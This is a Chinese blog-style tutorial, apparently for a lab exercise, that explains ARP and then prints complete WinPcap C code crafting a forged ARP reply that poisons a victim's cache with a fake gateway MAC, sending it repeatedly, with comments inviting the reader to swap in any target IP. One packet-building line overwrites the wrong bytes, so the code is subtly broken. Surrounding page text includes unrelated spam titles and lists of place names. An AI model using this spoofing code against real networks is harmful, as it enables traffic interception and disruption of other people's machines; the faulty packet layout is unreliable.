中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

發送ARP數據包

發布時間:2020-05-27 09:02:58 來源:網絡 閱讀:796 作者:1406404055 欄目:網絡安全

                                      發送ARP數據包

   ARP    地址解析協議,即ARP(Address Resolution Protocol),是根據IP地址獲取物理地址的一個TCP/IP協議。主機發 送信息時將包含目標IP地址的ARP請求廣播到網絡上的所有主機,并接收返回消息,以此確定目標的物理地址;收到返回消息后將該IP地址和物理地址存入本 機ARP緩存中并保留一定時間,下次請求時直接查詢ARP緩存以節約資源。地址解析協議是建立在網絡中各個主機互相信任的基礎上的,網絡上的主機可以自主 發送ARP應答消息,其他主機收到應答報文時不會檢測該報文的真實性就會將其記入本機ARP緩存;由此***者就可以向某一主機發送偽ARP應答報文,使其 發送的信息無法到達預期的主機或到達錯誤的主機,這就構成了一個ARP欺騙。ARP命令可用于查詢本機ARP緩存中IP地址和MAC地址的對應關系、添加或刪除靜態對應關系等。相關協議有RARP、代理ARP。NDP用于在IPv6中代替地址解析協議。

  

第一步:運行vs2010,并對項目配置修改。

項目-->**屬性(alt+F7)
配置屬性-->清單工具-->輸入和輸出-->嵌入清單-->否


項目-->**屬性(alt+F7)
配置屬性-->C/C++-->常規-->附加包含目錄-->

項目-->**屬性(alt+F7)
配置屬性-->鏈接器-->常規-->附加庫目錄-->

項目-->**屬性(alt+F7)
配置屬性-->鏈接器-->輸入-->附加依賴項-->補充“;Packet.lib;wpcap.lib;Ws2_32.lib;”

項目-->**屬性(alt+F7)
配置屬性-->C/C++-->預處理器-->預處理器定義-->補充“;HAVE_REMOTE”

第二部:復制arp代碼進行運行

// WinpCap Test.cpp : 定義控制臺應用程序的入口點。
//
#include "stdafx.h"
#include <pcap.h>

int _tmain(int argc, _TCHAR* argv[])
{
    pcap_if_t * allAdapters;//適配器列表
    pcap_if_t * adapter;
    pcap_t    * adapterHandle;//適配器句柄
    u_char      packet[ 1020 ]; //待發送的數據封包
    char errorBuffer[ PCAP_ERRBUF_SIZE ];//錯誤信息緩沖區

    if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 )
    {//檢索機器連接的所有網絡適配器
        fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );
        return -1;
    }

    if( allAdapters == NULL )
    {//不存在任何適配器
        printf( "\nNo adapters found! Make sure WinPcap is installed.\n" );
        return 0;
    }

    int crtAdapter = 0;

    for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)
    {//遍歷輸入適配器信息(名稱和描述信息)
        printf( "\n%d.%s ", ++crtAdapter, adapter->name );
        printf( "-- %s\n", adapter->description );
    }
    printf( "\n" );

    //選擇適配器
    int adapterNumber;
    printf( "Enter the adapter number between 1 and %d:", crtAdapter );
    scanf_s( "%d", &adapterNumber );

    if( adapterNumber < 1 || adapterNumber > crtAdapter )
    {
        printf( "\nAdapter number out of range.\n" );        
        pcap_freealldevs( allAdapters );// 釋放適配器列表
        return -1;
    }

    adapter = allAdapters;
    for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ )
        adapter = adapter->next;

    // 打開指定適配器
    adapterHandle = pcap_open( adapter->name, // name of the adapter
                               65536,         // portion of the packet to capture
                                              // 65536 guarantees that the whole
                          // packet will be captured
                               PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
                               1000,             // read timeout - 1 millisecond
                               NULL,          // authentication on the remote machine
                               errorBuffer    // error buffer
                              );
    if( adapterHandle == NULL )
    {//指定適配器打開失敗
        fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );
        // 釋放適配器列表
        pcap_freealldevs( allAdapters );
        return -1;
    }

    pcap_freealldevs( allAdapters );//釋放適配器列表  c8-9c-dc-22-61-fa

    //創建數據封包
    packet[0] = 0xc8;    packet[1] = 0x9c;    packet[2] = 0xdc;    packet[3] = 0x22;    packet[4] = 0x61;    packet[5] = 0xfa;   // 被騙計算機的mac地址
    packet[6] = 0xc8;   packet[7]  = 0x9c;   packet[8]  = 0xdc;   packet[9]  = 0x22;   packet[10] = 0x6c;   packet[11] = 0x14;   // 自己的mac地址C8-9C-DC-22-6C-14
    packet[12] = 0x08;   packet[13] = 0x06;  // 以太網封裝arp協議(不用動)
    packet[14] = 0x00;   packet[15] = 0x01;  // arp第1字段:代表以太網
    packet[16] = 0x08;   packet[17] = 0x00;  // arp第2字段:代表IP協議
    packet[18] = 0x06;  // arp第3字段:代表第二層地址的長度
    packet[19] = 0x04;  // arp第4字段:代表第三層地址的長度
    packet[20] = 0x00;   packet[21] = 0x02;   // arp第5字段:這是一個arp應答報文; 下面的是arp的第6,7,8,9字段
    packet[22] = 0xc8;   packet[23]  = 0x9c;   packet[24]  = 0xdc;   packet[25]  = 0x22;   packet[26] = 0x62;   packet[27] = 0x09; // 假的網關地址,
    packet[28] = 0xac;   packet[29] = 0x1c;        packet[30] = 0x0f;   packet[31] = 0xfe;    // 網關的ip,這里是172.28.15.254(在本實驗室不用改)
     packet[0] = 0xc8;    packet[1] = 0x9c;    packet[2] = 0xdc;    packet[3] = 0x22;    packet[4] = 0x61;    packet[5] = 0xfa;  // 被騙計算機的mac地址
    packet[38] = 0xac;   packet[39] = 0x1c;        packet[40] = 0x0f;   packet[41] = 0x37;   // 被騙計算機的IP地址,這里是172.28.15.55  (想騙誰,這里就改成誰的IP)

   
    //發送數據封包
    for(int ssde=0;ssde<100;ssde++)
    {
        pcap_sendpacket( adapterHandle, packet, 42);
        Sleep(1000);
    }

    system( "PAUSE" );
    return 0;
}

發送ARP數據包

第三部:查看被騙電腦驗證。


向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

临潭县| 霍林郭勒市| 凤庆县| 广德县| 襄垣县| 伽师县| 开江县| 常熟市| 大化| 县级市| 贵南县| 公主岭市| 都兰县| 奉贤区| 兴仁县| 锡林浩特市| 孝昌县| 乌鲁木齐县| 武陟县| 合江县| 新蔡县| 中山市| 茶陵县| 醴陵市| 光山县| 贵溪市| 平定县| 朝阳区| 天镇县| 吴堡县| 万全县| 谢通门县| 凤山县| 余干县| 苏尼特右旗| 南开区| 兴宁市| 荥阳市| 区。| 绥化市| 中卫市|